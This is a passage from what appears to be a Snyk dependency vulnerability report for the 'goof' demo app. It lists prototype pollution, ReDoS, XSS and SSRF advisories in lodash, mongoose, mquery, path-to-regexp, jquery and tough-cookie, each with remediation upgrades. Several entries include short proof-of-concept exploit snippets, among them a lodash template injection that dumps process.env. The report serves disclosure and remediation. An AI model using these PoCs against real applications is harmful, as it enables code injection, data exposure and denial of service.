), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.12 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › lodash@4.17.4Remediation: Upgrade to lodash@4.17.17.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution via the set
and setwith
functions due to improper user input sanitization.
PoC
lod = require('lodash')
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.17 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › lodash@4.17.4Remediation: Upgrade to lodash@4.17.11.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The functions merge
, mergeWith
, and defaultsDeep
could be tricked into adding or modifying properties of Object.prototype
. This is due to an incomplete fix to CVE-2018-3721
.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.11 or higher.
References
high severity
- Vulnerable module: mquery
- Introduced through: mongoose@4.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › mongoose@4.2.4 › mquery@1.6.3Remediation: Upgrade to mongoose@5.11.7.
Overview
mquery is an Expressive query building for MongoDB
Affected versions of this package are vulnerable to Prototype Pollution via the merge
function within lib/utils.js
. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.
PoC
require('./env').getCollection(function(err, collection) {
assert.ifError(err);
col = collection;
done();
});
var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');
var m = mquery(payload);
console.log({}.polluted);
// The empty object {} will have a property called polluted which will print vulnerable
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mquery
to version 3.2.3 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › lodash@4.17.4Remediation: Upgrade to lodash@4.17.21.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Code Injection via template
.
PoC
var _ = require('lodash');
_.template('', { variable: '){console.log(process.env)}; with(obj' })()
Remediation
Upgrade lodash
to version 4.17.21 or higher.
References
high severity
- Vulnerable module: mongoose
- Introduced through: mongoose@4.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › mongoose@4.2.4Remediation: Upgrade to mongoose@5.13.15.
Overview
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Prototype Pollution in the Schema.path()
function.
Note: CVE-2022-24304 is a duplicate of CVE-2022-2564.
PoC:
const mongoose = require('mongoose');
const schema = new mongoose.Schema();
malicious_payload = '__proto__.toString'
schema.path(malicious_payload, [String])
x = {}
console.log(x.toString())
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mongoose
to version 5.13.15, 6.4.6 or higher.
References
medium severity
- Vulnerable module: path-to-regexp
- Introduced through: express@4.12.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › path-to-regexp@0.1.3Remediation: Upgrade to express@4.20.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including multiple regular expression parameters in a single segment, which will produce the regular expression /^\/([^\/]+?)-([^\/]+?)\/?$/
, if two parameters within a single segment are separated by a character other than a /
or .
. Poor performance will block the event loop and can lead to a DoS.
Note:
While the 8.0.0 release has completely eliminated the vulnerable functionality, prior versions that have received the patch to mitigate backtracking may still be vulnerable if custom regular expressions are used. So it is strongly recommended for regular expression input to be controlled to avoid malicious performance degradation in those versions. This behavior is enforced as of version 7.1.0 via the strict
option, which returns an error if a dangerous regular expression is detected.
Workaround
This vulnerability can be avoided by using a custom regular expression for parameters after the first in a segment, which excludes -
and /
.
PoC
/a${'-a'.repeat(8_000)}/a
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade path-to-regexp
to version 0.1.10, 1.9.0, 3.3.0, 6.3.0, 8.0.0 or higher.
References
medium severity
new
- Vulnerable module: path-to-regexp
- Introduced through: express@4.12.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › path-to-regexp@0.1.3Remediation: Upgrade to express@4.21.2.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including multiple regular expression parameters in a single segment, when the separator is not .
(e.g. no /:a-:b
). Poor performance will block the event loop and can lead to a DoS.
Note:
This issue is caused due to an incomplete fix for CVE-2024-45296.
Workarounds
This can be mitigated by avoiding using two parameters within a single path segment, when the separator is not .
(e.g. no /:a-:b
). Alternatively, the regex used for both parameters can be defined to ensure they do not overlap to allow backtracking.
PoC
/a${'-a'.repeat(8_000)}/a
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade path-to-regexp
to version 0.1.12 or higher.
References
medium severity
- Vulnerable module: jquery
- Introduced through: jquery@2.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › jquery@2.2.4Remediation: Upgrade to jquery@3.5.0.
Overview
jquery is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS). Passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append()
, and others) may execute untrusted code.
Remediation
Upgrade jquery
to version 3.5.0 or higher.
References
medium severity
- Vulnerable module: request
- Introduced through: tap@11.1.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › coveralls@3.1.1 › request@2.88.2
Overview
request is a simplified http request client.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js
file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: request
package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.
Remediation
A fix was pushed into the master
branch but not yet published.
References
medium severity
- Vulnerable module: tough-cookie
- Introduced through: tap@11.1.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › coveralls@3.1.1 › request@2.88.2 › tough-cookie@2.5.0
Overview
tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.
Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false
mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.
PoC
// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
"Slonser=polluted; Domain=__proto__; Path=/notauth",
"https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
"Auth=Lol; Domain=google.com; Path=/notauth",
"https://google.com/"
);
//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade tough-cookie
to version 4.1.3 or higher.
References
medium severity
- Vulnerable module: cookie
- Introduced through: express@4.12.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › cookie@0.1.2Remediation: Upgrade to express@4.21.1.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie name
, path
, or domain
, which can be used to set unexpected values to other cookie fields.
Workaround
Users who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade cookie
to version 0.7.0 or higher.
References
medium severity
- Vulnerable module: jquery
- Introduced through: jquery@2.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › jquery@2.2.4Remediation: Upgrade to jquery@3.5.0.
Overview
jquery is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS)
Passing HTML containing <option>
elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html()
, .append()
, and others) may execute untrusted code.
NOTE: This vulnerability was also assigned CVE-2020-23064.
Details
Remediation
Upgrade jquery
